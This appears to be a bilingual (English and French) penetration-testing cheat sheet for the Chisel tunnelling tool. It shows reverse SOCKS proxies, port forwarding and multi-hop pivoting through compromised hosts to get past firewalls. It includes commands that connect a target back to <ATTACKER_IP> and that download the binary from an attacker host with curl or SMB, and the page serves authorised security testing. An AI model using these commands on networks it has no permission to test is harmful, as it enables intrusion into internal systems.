Chisel

Overview

Chisel creates encrypted tunnels over HTTP using SSH as the transport. It’s ideal for pivoting through web-only egress, bypassing firewalls, and exposing internal services.

Common Usage

SOCKS5 Proxy (most common)

Attacker machine — server mode

chisel server -p 8080 --reverse

Target machine — client mode (connects back to attacker)

./chisel client <ATTACKER_IP>:8080 R:socks

Now use proxychains or SOCKS5 proxy on 127.0.0.1:1080

proxychains nmap -sT -Pn 10.10.20.0/24

Port Forwarding

# Forward remote port 3306 (MySQL) to local 3306
chisel server -p 8080 --reverse
./chisel client <ATTACKER_IP>:8080 R:3306:127.0.0.1:3306

# Forward local port to remote (expose attacker's service to target network)
chisel server -p 8080
./chisel client <ATTACKER_IP>:8080 3000:10.10.20.5:80

Multi-hop Pivoting

Chain multiple Chisel clients through compromised hosts to reach deeper network segments.

Transfer to Target

# Download from attacker
curl http://<ATTACKER_IP>/chisel -o /tmp/chisel
chmod +x /tmp/chisel

Or via SMB

copy \\<ATTACKER_IP>\share\chisel.exe C:\Windows\Temp\chisel.exe

chisel server [options]
chisel client [options] <server> <remote> [remote] [remote] ...

SERVER OPTIONS:
  --host HOST         Listening host (default: 0.0.0.0)
  -p, --port PORT     Listening port (default: 8080)
  --reverse           Allow reverse port forwarding
  --auth USER:PASS    Authentication
  --key KEY           SSH private key seed
  --tls-key FILE      TLS key file
  --tls-cert FILE     TLS cert file

CLIENT OPTIONS:
  --auth USER:PASS    Authenticate with server
  --keepalive DURATION  Keepalive interval
  --max-retry-count N  Max reconnect attempts
  --proxy URL         HTTPS proxy for connecting to server

REMOTE SYNTAX:
  R:localport:remotehost:remoteport   Reverse (server listens)
  localport:remotehost:remoteport     Forward (client listens)
  R:socks                             Reverse SOCKS5 proxy (port 1080)
  socks                               Forward SOCKS5 proxy

EXAMPLES:
  Server: chisel server -p 9090 --reverse
  Client: chisel client attacker:9090 R:socks
  Client: chisel client attacker:9090 R:8080:internal:80

Vue d’ensemble

Chisel crée des tunnels chiffrés sur HTTP en utilisant SSH comme transport. C’est idéal pour le pivoting via une sortie web uniquement, contourner les pare-feux, et exposer des services internes.

Utilisation courante

Proxy SOCKS5 (le plus courant)

# Machine attaquante : mode serveur
chisel server -p 8080 --reverse

# Machine cible : mode client (se connecte en retour vers l'attaquant)
./chisel client <ATTACKER_IP>:8080 R:socks

# Utiliser proxychains ou proxy SOCKS5 sur 127.0.0.1:1080
proxychains nmap -sT -Pn 10.10.20.0/24

Redirection de port

# Rediriger le port distant 3306 (MySQL) vers le local 3306
chisel server -p 8080 --reverse
./chisel client <ATTACKER_IP>:8080 R:3306:127.0.0.1:3306

# Rediriger un port local vers l'hôte distant (exposer un service de l'attaquant au réseau cible)
chisel server -p 8080
./chisel client <ATTACKER_IP>:8080 3000:10.10.20.5:80

Pivoting multi-sauts

Enchaîner plusieurs clients Chisel à travers des hôtes compromis pour atteindre des segments réseau plus profonds.

Transfert vers la cible

# Télécharger depuis l'attaquant
curl http://<ATTACKER_IP>/chisel -o /tmp/chisel
chmod +x /tmp/chisel

# Ou via SMB
copy \\<ATTACKER_IP>\share\chisel.exe C:\Windows\Temp\chisel.exe

chisel server [options]
chisel client [options] <server> <remote> [remote] [remote] ...

SERVER OPTIONS:
  --host HOST         Listening host (default: 0.0.0.0)
  -p, --port PORT     Listening port (default: 8080)
  --reverse           Allow reverse port forwarding
  --auth USER:PASS    Authentication
  --key KEY           SSH private key seed
  --tls-key FILE      TLS key file
  --tls-cert FILE     TLS cert file

CLIENT OPTIONS:
  --auth USER:PASS    Authenticate with server
  --keepalive DURATION  Keepalive interval
  --max-retry-count N  Max reconnect attempts
  --proxy URL         HTTPS proxy for connecting to server

REMOTE SYNTAX:
  R:localport:remotehost:remoteport   Reverse (server listens)
  localport:remotehost:remoteport     Forward (client listens)
  R:socks                             Reverse SOCKS5 proxy (port 1080)
  socks                               Forward SOCKS5 proxy

EXAMPLES:
  Server: chisel server -p 9090 --reverse
  Client: chisel client attacker:9090 R:socks
  Client: chisel client attacker:9090 R:8080:internal:80